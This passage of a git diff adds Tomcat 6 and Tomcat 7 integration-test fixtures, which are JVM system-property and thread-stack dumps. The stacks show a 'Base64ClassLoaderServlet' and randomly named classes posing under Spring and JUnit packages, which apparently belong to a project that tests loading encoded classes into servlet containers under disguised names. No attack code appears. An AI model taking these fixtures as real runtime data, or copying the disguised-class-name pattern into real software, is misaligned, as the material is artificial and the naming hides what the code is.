java.net.SocketInputStream.socketRead0(Native Method) + at java.net.SocketInputStream.read(SocketInputStream.java:129) + at org.apache.coyote.http11.InternalInputBuffer.fill(InternalInputBuffer.java:773) + at org.apache.coyote.http11.InternalInputBuffer.parseRequestLine(InternalInputBuffer.java:399) + at org.apache.coyote.http11.Http11Processor.process(Http11Processor.java:835) + at org.apache.coyote.http11.Http11BaseProtocol$Http11ConnectionHandler.processConnection(Http11BaseProtocol.java:674) + at org.apache.tomcat.util.net.PoolTcpEndpoint.processSocket(PoolTcpEndpoint.java:541) + at org.apache.tomcat.util.net.LeaderFollowerWorkerThread.runIt(LeaderFollowerWorkerThread.java:81) + at org.apache.tomcat.util.threads.ThreadPool$ControlRunnable.run(ThreadPool.java:689) + at java.lang.Thread.run(Thread.java:662) + +"http-8080-Processor5" #14 daemon [WAITING] on org.apache.tomcat.util.threads.ThreadPool$ControlRunnable@6536d9d8 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:485) + at org.apache.tomcat.util.threads.ThreadPool$ControlRunnable.run(ThreadPool.java:661) + at java.lang.Thread.run(Thread.java:662) + +"http-8080-Processor1" #10 daemon [WAITING] on org.apache.tomcat.util.threads.ThreadPool$ControlRunnable@741827d1 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:485) + at org.apache.tomcat.util.threads.ThreadPool$ControlRunnable.run(ThreadPool.java:661) + at java.lang.Thread.run(Thread.java:662) + + +=========================================== + +StackClassNames: +Base64ClassLoaderServlet +EmptyFilter +org.apache.catalina.connector.CoyoteAdapter +org.apache.catalina.connector.CoyoteWriter +org.apache.catalina.core.ApplicationFilterChain +org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor +org.apache.catalina.core.StandardContextValve +org.apache.catalina.core.StandardEngineValve +org.apache.catalina.core.StandardHostValve +org.apache.catalina.core.StandardServer +org.apache.catalina.core.StandardWrapperValve +org.apache.catalina.startup.Bootstrap +org.apache.catalina.startup.Catalina +org.apache.catalina.valves.ErrorReportValve +org.apache.coyote.http11.Http11BaseProtocol$Http11ConnectionHandler +org.apache.coyote.http11.Http11Processor +org.apache.coyote.http11.InternalInputBuffer +org.apache.jk.common.ChannelSocket +org.apache.jk.common.ChannelSocket$SocketAcceptor +org.apache.tomcat.util.net.DefaultServerSocketFactory +org.apache.tomcat.util.net.LeaderFollowerWorkerThread +org.apache.tomcat.util.net.PoolTcpEndpoint +org.apache.tomcat.util.threads.ThreadPool$ControlRunnable +org.apache.tomcat.util.threads.ThreadPool$MonitorRunnable +org.springframework.GSyah.ErrorHandler diff --git a/integration-test/src/test/resources/infos/Tomcat6ContainerTestBasicInfo.txt b/integration-test/src/test/resources/infos/Tomcat6ContainerTestBasicInfo.txt new file mode 100644 index 00000000..c9e54f99 --- /dev/null +++ b/integration-test/src/test/resources/infos/Tomcat6ContainerTestBasicInfo.txt @@ -0,0 +1,260 @@ +# Generated At 2025-08-10 15:00:49 +SystemProps: +java.runtime.name: Java(TM) SE Runtime Environment +sun.boot.library.path: /opt/java/jdk1.6.0_45/jre/lib/amd64 +java.vm.version: 20.45-b01 +shared.loader: +java.vm.vendor: Sun Microsystems Inc. +java.vendor.url: http://java.sun.com/ +path.separator: : +tomcat.util.buf.StringCache.byte.enabled: true +java.util.logging.config.file: /usr/local/tomcat/conf/logging.properties +java.vm.name: Java HotSpot(TM) 64-Bit Server VM +file.encoding.pkg: sun.io +sun.java.launcher: SUN_STANDARD +user.country: US +sun.os.patch.level: unknown +java.vm.specification.name: Java Virtual Machine Specification +user.dir: /usr/local/tomcat +java.runtime.version: 1.6.0_45-b06 +java.awt.graphicsenv: sun.awt.X11GraphicsEnvironment +java.endorsed.dirs: /usr/local/tomcat/endorsed +os.arch: amd64 +java.io.tmpdir: /usr/local/tomcat/temp +line.separator: + +java.vm.specification.vendor: Sun Microsystems Inc. +java.naming.factory.url.pkgs: org.apache.naming +java.util.logging.manager: org.apache.juli.ClassLoaderLogManager +os.name: Linux +sun.jnu.encoding: ANSI_X3.4-1968 +java.library.path: /opt/java/jdk1.6.0_45/jre/lib/amd64/server:/opt/java/jdk1.6.0_45/jre/lib/amd64:/opt/java/jdk1.6.0_45/jre/../lib/amd64:/usr/java/packages/lib/amd64:/usr/lib64:/lib64:/lib:/usr/lib +java.specification.name: Java Platform API Specification +java.class.version: 50.0 +sun.management.compiler: HotSpot 64-Bit Tiered Compilers +os.version: 6.14.10-orbstack-00291-g1b252bd3edea +user.home: /root +catalina.useNaming: true +user.timezone: UTC +java.awt.printerjob: sun.print.PSPrinterJob +file.encoding: ANSI_X3.4-1968 +java.specification.version: 1.6 +catalina.home: /usr/local/tomcat +java.class.path: /usr/local/tomcat/bin/bootstrap.jar +user.name: root +java.naming.factory.initial: org.apache.naming.java.javaURLContextFactory +package.definition: sun.,java.,org.apache.catalina.,org.apache.coyote.,org.apache.jasper.,org.apache.naming.,org.apache.tomcat. +java.vm.specification.version: 1.0 +sun.java.command: org.apache.catalina.startup.Bootstrap start +java.home: /opt/java/jdk1.6.0_45/jre +sun.arch.data.model: 64 +user.language: en +java.specification.vendor: Sun Microsystems Inc. +java.vm.info: mixed mode +java.version: 1.6.0_45 +java.ext.dirs: /opt/java/jdk1.6.0_45/jre/lib/ext:/usr/java/packages/lib/ext +sun.boot.class.path: /opt/java/jdk1.6.0_45/jre/lib/resources.jar:/opt/java/jdk1.6.0_45/jre/lib/rt.jar:/opt/java/jdk1.6.0_45/jre/lib/sunrsasign.jar:/opt/java/jdk1.6.0_45/jre/lib/jsse.jar:/opt/java/jdk1.6.0_45/jre/lib/jce.jar:/opt/java/jdk1.6.0_45/jre/lib/charsets.jar:/opt/java/jdk1.6.0_45/jre/lib/modules/jdk.boot.jar:/opt/java/jdk1.6.0_45/jre/classes +server.loader: +java.vendor: Sun Microsystems Inc. +catalina.base: /usr/local/tomcat +jdk.tls.ephemeralDHKeySize: 2048 +file.separator: / +java.vendor.url.bug: http://java.sun.com/cgi-bin/bugreport.cgi +common.loader: ${catalina.base}/lib,${catalina.base}/lib/*.jar,${catalina.home}/lib,${catalina.home}/lib/*.jar +sun.io.unicode.encoding: UnicodeLittle +sun.cpu.endian: little +package.access: sun.,org.apache.catalina.,org.apache.coyote.,org.apache.jasper.,org.apache.naming.resources.,org.apache.tomcat.,sun.beans. +sun.cpu.isalist: + +=========================================== + +ThreadStacks: +"http-8080-Acceptor-0" #12 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.PlainSocketImpl.socketAccept(Native Method) + at java.net.PlainSocketImpl.accept(PlainSocketImpl.java:408) + at java.net.ServerSocket.implAccept(ServerSocket.java:462) + at java.net.ServerSocket.accept(ServerSocket.java:430) + at org.apache.tomcat.util.net.DefaultServerSocketFactory.acceptSocket(DefaultServerSocketFactory.java:61) + at org.apache.tomcat.util.net.JIoEndpoint$Acceptor.run(JIoEndpoint.java:366) + at java.lang.Thread.run(Thread.java:662) + +"http-8080-1" #19 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.SocketInputStream.socketRead0(Native Method) + at java.net.SocketInputStream.read(SocketInputStream.java:129) + at org.apache.coyote.http11.InternalInputBuffer.fill(InternalInputBuffer.java:762) + at org.apache.coyote.http11.InternalInputBuffer.parseRequestLine(InternalInputBuffer.java:353) + at org.apache.coyote.http11.Http11Processor.process(Http11Processor.java:811) + at org.apache.coyote.http11.Http11Protocol$Http11ConnectionHandler.process(Http11Protocol.java:610) + at org.apache.tomcat.util.net.JIoEndpoint$Worker.run(JIoEndpoint.java:503) + at java.lang.Thread.run(Thread.java:662) + +"main" #1 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.PlainSocketImpl.socketAccept(Native Method) + at java.net.PlainSocketImpl.accept(PlainSocketImpl.java:408) + at java.net.ServerSocket.implAccept(ServerSocket.java:462) + at java.net.ServerSocket.accept(ServerSocket.java:430) + at org.apache.catalina.core.StandardServer.await(StandardServer.java:430) + at org.apache.catalina.startup.Catalina.await(Catalina.java:676) + at org.apache.catalina.startup.Catalina.start(Catalina.java:628) + at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) + at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:39) + at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:25) + at java.lang.reflect.Method.invoke(Method.java:597) + at org.apache.catalina.startup.Bootstrap.start(Bootstrap.java:289) + at org.apache.catalina.startup.Bootstrap.main(Bootstrap.java:414) + +"TP-Processor1" #13 daemon [WAITING] on org.apache.tomcat.util.threads.ThreadPool$ControlRunnable@40b86944 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:485) + at org.apache.tomcat.util.threads.ThreadPool$ControlRunnable.run(ThreadPool.java:662) + at java.lang.Thread.run(Thread.java:662) + +"GC Daemon" #10 daemon [TIMED_WAITING] on sun.misc.GC$LatencyLock@b07108e + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at sun.misc.GC$Daemon.run(GC.java:100) + +"http-8080-3" #21 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.SocketInputStream.socketRead0(Native Method) + at java.net.SocketInputStream.read(SocketInputStream.java:129) + at org.apache.coyote.http11.InternalInputBuffer.fill(InternalInputBuffer.java:762) + at org.apache.coyote.http11.InternalInputBuffer.parseRequestLine(InternalInputBuffer.java:353) + at org.apache.coyote.http11.Http11Processor.process(Http11Processor.java:811) + at org.apache.coyote.http11.Http11Protocol$Http11ConnectionHandler.process(Http11Protocol.java:610) + at org.apache.tomcat.util.net.JIoEndpoint$Worker.run(JIoEndpoint.java:503) + at java.lang.Thread.run(Thread.java:662) + +"TP-Monitor" #17 daemon [TIMED_WAITING] on org.apache.tomcat.util.threads.ThreadPool$MonitorRunnable@7ccfe049 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at org.apache.tomcat.util.threads.ThreadPool$MonitorRunnable.run(ThreadPool.java:565) + at java.lang.Thread.run(Thread.java:662) + +"http-8080-5" #23 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.lang.Thread.dumpThreads(Native Method) + at java.lang.Thread.getAllStackTraces(Thread.java:1530) + at org.junit.uBwac.ErrorHandler.toString(BasicInfoPrinter.java:26) + at java.lang.String.valueOf(String.java:2826) + at org.apache.catalina.connector.CoyoteWriter.print(CoyoteWriter.java:226) + at Base64ClassLoaderServlet.service(Base64ClassLoaderServlet.java:26) + at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:290) + at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:206) + at EmptyFilter.doFilter(EmptyFilter.java:21) + at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:235) + at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:206) + at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:233) + at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:191) + at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:127) + at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:103) + at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:109) + at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:293) + at org.apache.coyote.http11.Http11Processor.process(Http11Processor.java:859) + at org.apache.coyote.http11.Http11Protocol$Http11ConnectionHandler.process(Http11Protocol.java:610) + at org.apache.tomcat.util.net.JIoEndpoint$Worker.run(JIoEndpoint.java:503) + at java.lang.Thread.run(Thread.java:662) + +"TP-Processor3" #15 daemon [WAITING] on org.apache.tomcat.util.threads.ThreadPool$ControlRunnable@338e18a3 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:485) + at org.apache.tomcat.util.threads.ThreadPool$ControlRunnable.run(ThreadPool.java:662) + at java.lang.Thread.run(Thread.java:662) + +"http-8080-4" #22 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.SocketInputStream.socketRead0(Native Method) + at java.net.SocketInputStream.read(SocketInputStream.java:129) + at org.apache.coyote.http11.InternalInputBuffer.fill(InternalInputBuffer.java:762) + at org.apache.coyote.http11.InternalInputBuffer.parseRequestLine(InternalInputBuffer.java:353) + at org.apache.coyote.http11.Http11Processor.process(Http11Processor.java:811) + at org.apache.coyote.http11.Http11Protocol$Http11ConnectionHandler.process(Http11Protocol.java:610) + at org.apache.tomcat.util.net.JIoEndpoint$Worker.run(JIoEndpoint.java:503) + at java.lang.Thread.run(Thread.java:662) + +"TP-Processor2" #14 daemon [WAITING] on org.apache.tomcat.util.threads.ThreadPool$ControlRunnable@35f38fc6 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:485) + at org.apache.tomcat.util.threads.ThreadPool$ControlRunnable.run(ThreadPool.java:662) + at java.lang.Thread.run(Thread.java:662) + +"Reference Handler" #2 daemon [WAITING] on java.lang.ref.Reference$Lock@9642bd6 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:485) + at java.lang.ref.Reference$ReferenceHandler.run(Reference.java:116) + +"Signal Dispatcher" #4 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"TP-Processor4" #16 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.PlainSocketImpl.socketAccept(Native Method) + at java.net.PlainSocketImpl.accept(PlainSocketImpl.java:408) + at java.net.ServerSocket.implAccept(ServerSocket.java:462) + at java.net.ServerSocket.accept(ServerSocket.java:430) + at org.apache.jk.common.ChannelSocket.accept(ChannelSocket.java:311) + at org.apache.jk.common.ChannelSocket.acceptConnections(ChannelSocket.java:685) + at org.apache.jk.common.ChannelSocket$SocketAcceptor.runIt(ChannelSocket.java:896) + at org.apache.tomcat.util.threads.ThreadPool$ControlRunnable.run(ThreadPool.java:690) + at java.lang.Thread.run(Thread.java:662) + +"Finalizer" #3 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@f79f36b + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:118) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:134) + at java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:171) + +"ContainerBackgroundProcessor[StandardEngine[Catalina]]" #11 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleep(Native Method) + at org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1635) + at java.lang.Thread.run(Thread.java:662) + +"http-8080-2" #20 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.SocketInputStream.socketRead0(Native Method) + at java.net.SocketInputStream.read(SocketInputStream.java:129) + at org.apache.coyote.http11.InternalInputBuffer.fill(InternalInputBuffer.java:762) + at org.apache.coyote.http11.InternalInputBuffer.parseRequestLine(InternalInputBuffer.java:353) + at org.apache.coyote.http11.Http11Processor.process(Http11Processor.java:811) + at org.apache.coyote.http11.Http11Protocol$Http11ConnectionHandler.process(Http11Protocol.java:610) + at org.apache.tomcat.util.net.JIoEndpoint$Worker.run(JIoEndpoint.java:503) + at java.lang.Thread.run(Thread.java:662) + + +=========================================== + +StackClassNames: +Base64ClassLoaderServlet +EmptyFilter +org.apache.catalina.connector.CoyoteAdapter +org.apache.catalina.connector.CoyoteWriter +org.apache.catalina.core.ApplicationFilterChain +org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor +org.apache.catalina.core.StandardContextValve +org.apache.catalina.core.StandardEngineValve +org.apache.catalina.core.StandardHostValve +org.apache.catalina.core.StandardServer +org.apache.catalina.core.StandardWrapperValve +org.apache.catalina.startup.Bootstrap +org.apache.catalina.startup.Catalina +org.apache.catalina.valves.ErrorReportValve +org.apache.coyote.http11.Http11Processor +org.apache.coyote.http11.Http11Protocol$Http11ConnectionHandler +org.apache.coyote.http11.InternalInputBuffer +org.apache.jk.common.ChannelSocket +org.apache.jk.common.ChannelSocket$SocketAcceptor +org.apache.tomcat.util.net.DefaultServerSocketFactory +org.apache.tomcat.util.net.JIoEndpoint$Acceptor +org.apache.tomcat.util.net.JIoEndpoint$Worker +org.apache.tomcat.util.threads.ThreadPool$ControlRunnable +org.apache.tomcat.util.threads.ThreadPool$MonitorRunnable +org.junit.uBwac.ErrorHandler diff --git a/integration-test/src/test/resources/infos/Tomcat7ContainerTestBasicInfo.txt b/integration-test/src/test/resources/infos/Tomcat7ContainerTestBasicInfo.txt new file mode 100644 index 00000000..5f5d2eb6 --- /dev/null +++ b/integration-test/src/test/resources/infos/Tomcat7ContainerTestBasicInfo.txt @@ -0,0 +1,512 @@ +# Generated At 2025-08-10 15:00:50 +SystemProps: +java.runtime.name: OpenJDK Runtime Environment +sun.boot.library.path: /usr/lib/jvm/java-7-openjdk-arm64/jre/lib/aarch64 +java.vm.version: 24.171-b02 +shared.loader: +java.vm.vendor: Oracle Corporation +java.vendor.url: http://java.oracle.com/ +path.separator: : +tomcat.util.buf.StringCache.byte.enabled: true +java.util.logging.config.file: /usr/local/tomcat/conf/logging.properties +java.vm.name: OpenJDK 64-Bit Server VM +file.encoding.pkg: sun.io +sun.java.launcher: SUN_STANDARD +sun.os.patch.level: unknown +java.vm.specification.name: Java Virtual Machine Specification +user.dir: /usr/local/tomcat +java.runtime.version: 1.7.0_171-b02 +org.apache.catalina.startup.TldConfig.jarsToSkip: tomcat7-websocket.jar +java.awt.graphicsenv: sun.awt.X11GraphicsEnvironment +java.endorsed.dirs: /usr/lib/jvm/java-7-openjdk-arm64/jre/lib/endorsed +os.arch: aarch64 +java.io.tmpdir: /usr/local/tomcat/temp +line.separator: + +java.vm.specification.vendor: Oracle Corporation +java.naming.factory.url.pkgs: org.apache.naming +java.util.logging.manager: org.apache.juli.ClassLoaderLogManager +os.name: Linux +ignore.endorsed.dirs: +sun.jnu.encoding: UTF-8 +tomcat.util.scan.DefaultJarScanner.jarsToSkip: bootstrap.jar,commons-daemon.jar,tomcat-juli.jar,annotations-api.jar,el-api.jar,jsp-api.jar,servlet-api.jar,websocket-api.jar,catalina.jar,catalina-ant.jar,catalina-ha.jar,catalina-tribes.jar,jasper.jar,jasper-el.jar,ecj-*.jar,tomcat-api.jar,tomcat-util.jar,tomcat-coyote.jar,tomcat-dbcp.jar,tomcat-jni.jar,tomcat-spdy.jar,tomcat-i18n-en.jar,tomcat-i18n-es.jar,tomcat-i18n-fr.jar,tomcat-i18n-ja.jar,tomcat-juli-adapters.jar,catalina-jmx-remote.jar,catalina-ws.jar,tomcat-jdbc.jar,tools.jar,commons-beanutils*.jar,commons-codec*.jar,commons-collections*.jar,commons-dbcp*.jar,commons-digester*.jar,commons-fileupload*.jar,commons-httpclient*.jar,commons-io*.jar,commons-lang*.jar,commons-logging*.jar,commons-math*.jar,commons-pool*.jar,jstl.jar,taglibs-standard-spec-*.jar,geronimo-spec-jaxrpc*.jar,wsdl4j*.jar,ant.jar,ant-junit*.jar,aspectj*.jar,jmx.jar,h2*.jar,hibernate*.jar,httpclient*.jar,jmx-tools.jar,jta*.jar,log4j.jar,log4j-1*.jar,mail*.jar,slf4j*.jar,xercesImpl.jar,xmlParserAPIs.jar,xml-apis.jar,junit.jar,junit-*.jar,hamcrest*.jar,org.hamcrest*.jar,ant-launcher.jar,cobertura-*.jar,asm-*.jar,dom4j-*.jar,icu4j-*.jar,jaxen-*.jar,jdom-*.jar,jetty-*.jar,oro-*.jar,servlet-api-*.jar,tagsoup-*.jar,xmlParserAPIs-*.jar,xom-*.jar +java.library.path: /usr/local/tomcat/native-jni-lib:/usr/java/packages/lib/aarch64:/usr/lib/aarch64-linux-gnu/jni:/lib/aarch64-linux-gnu:/usr/lib/aarch64-linux-gnu:/usr/lib/jni:/lib:/usr/lib +java.specification.name: Java Platform API Specification +java.class.version: 51.0 +sun.management.compiler: HotSpot 64-Bit Tiered Compilers +os.version: 6.14.10-orbstack-00291-g1b252bd3edea +org.apache.catalina.startup.ContextConfig.jarsToSkip: +user.home: /root +catalina.useNaming: true +user.timezone: Etc/UTC +java.awt.printerjob: sun.print.PSPrinterJob +file.encoding: UTF-8 +java.specification.version: 1.7 +catalina.home: /usr/local/tomcat +java.class.path: /usr/local/tomcat/bin/bootstrap.jar:/usr/local/tomcat/bin/tomcat-juli.jar +user.name: root +java.naming.factory.initial: org.apache.naming.java.javaURLContextFactory +package.definition: sun.,java.,org.apache.catalina.,org.apache.coyote.,org.apache.jasper.,org.apache.naming.,org.apache.tomcat. +java.vm.specification.version: 1.7 +sun.java.command: org.apache.catalina.startup.Bootstrap start +java.home: /usr/lib/jvm/java-7-openjdk-arm64/jre +sun.arch.data.model: 64 +user.language: en +java.specification.vendor: Oracle Corporation +awt.toolkit: sun.awt.X11.XToolkit +java.vm.info: mixed mode +java.version: 1.7.0_171 +java.ext.dirs: /usr/lib/jvm/java-7-openjdk-arm64/jre/lib/ext:/usr/java/packages/lib/ext +sun.boot.class.path: /usr/lib/jvm/java-7-openjdk-arm64/jre/lib/resources.jar:/usr/lib/jvm/java-7-openjdk-arm64/jre/lib/rt.jar:/usr/lib/jvm/java-7-openjdk-arm64/jre/lib/sunrsasign.jar:/usr/lib/jvm/java-7-openjdk-arm64/jre/lib/jsse.jar:/usr/lib/jvm/java-7-openjdk-arm64/jre/lib/jce.jar:/usr/lib/jvm/java-7-openjdk-arm64/jre/lib/charsets.jar:/usr/lib/jvm/java-7-openjdk-arm64/jre/lib/rhino.jar:/usr/lib/jvm/java-7-openjdk-arm64/jre/lib/jfr.jar:/usr/lib/jvm/java-7-openjdk-arm64/jre/classes +server.loader: +java.vendor: Oracle Corporation +catalina.base: /usr/local/tomcat +jdk.tls.ephemeralDHKeySize: 2048 +file.separator: / +java.vendor.url.bug: http://bugreport.sun.com/bugreport/ +common.loader: ${catalina.base}/lib,${catalina.base}/lib/*.jar,${catalina.home}/lib,${catalina.home}/lib/*.jar +sun.io.unicode.encoding: UnicodeLittle +sun.cpu.endian: little +package.access: sun.,org.apache.catalina.,org.apache.coyote.,org.apache.jasper.,org.apache.naming.resources.,org.apache.tomcat. +sun.cpu.isalist: + +=========================================== + +ThreadStacks: +"http-apr-8080-AsyncTimeout" #29 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleep(Native Method) + at org.apache.tomcat.util.net.AprEndpoint$AsyncTimeout.run(AprEndpoint.java:1160) + at java.lang.Thread.run(Thread.java:748) + +"http-apr-8080-exec-5" #20 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@3a2ed92f + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:186) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2043) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:104) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:32) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1075) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1137) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:622) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:748) + +"http-apr-8080-Acceptor-0" #28 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at org.apache.tomcat.jni.Socket.accept(Native Method) + at org.apache.tomcat.util.net.AprEndpoint$Acceptor.run(AprEndpoint.java:1086) + at java.lang.Thread.run(Thread.java:748) + +"ajp-apr-8009-exec-2" #31 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@68405782 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:186) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2043) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:104) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:32) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1075) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1137) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:622) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:748) + +"GC Daemon" #12 daemon [TIMED_WAITING] on sun.misc.GC$LatencyLock@58314d46 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at sun.misc.GC$Daemon.run(GC.java:117) + +"http-apr-8080-exec-8" #23 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@3a2ed92f + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:186) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2043) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:104) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:32) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1075) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1137) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:622) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:748) + +"ajp-apr-8009-exec-5" #34 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@68405782 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:186) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2043) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:104) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:32) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1075) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1137) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:622) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:748) + +"ajp-apr-8009-exec-8" #37 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@68405782 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:186) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2043) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:104) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:32) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1075) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1137) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:622) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:748) + +"Catalina-startStop-1" #13 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@cc85be6 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:226) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2082) + at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:467) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1075) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1137) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:748) + +"http-apr-8080-exec-9" #24 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@3a2ed92f + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:186) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2043) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:104) + at 